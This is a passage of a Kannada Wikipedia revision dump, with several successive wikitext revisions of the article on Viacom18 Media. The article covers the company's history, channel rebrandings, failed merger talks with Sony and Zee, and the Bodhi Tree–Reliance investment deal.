https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] hnkoxuimcklmd26uffri3ifa57ai45x 1116424 1116421 2022-08-23T12:16:00Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = 2007 ನವೆಂಬರ್}} | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] saio7ct9xt4xeau1q3zrbbsd7ycty8v 1116425 1116424 2022-08-23T12:16:31Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = 2007 ನವೆಂಬರ್ | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> 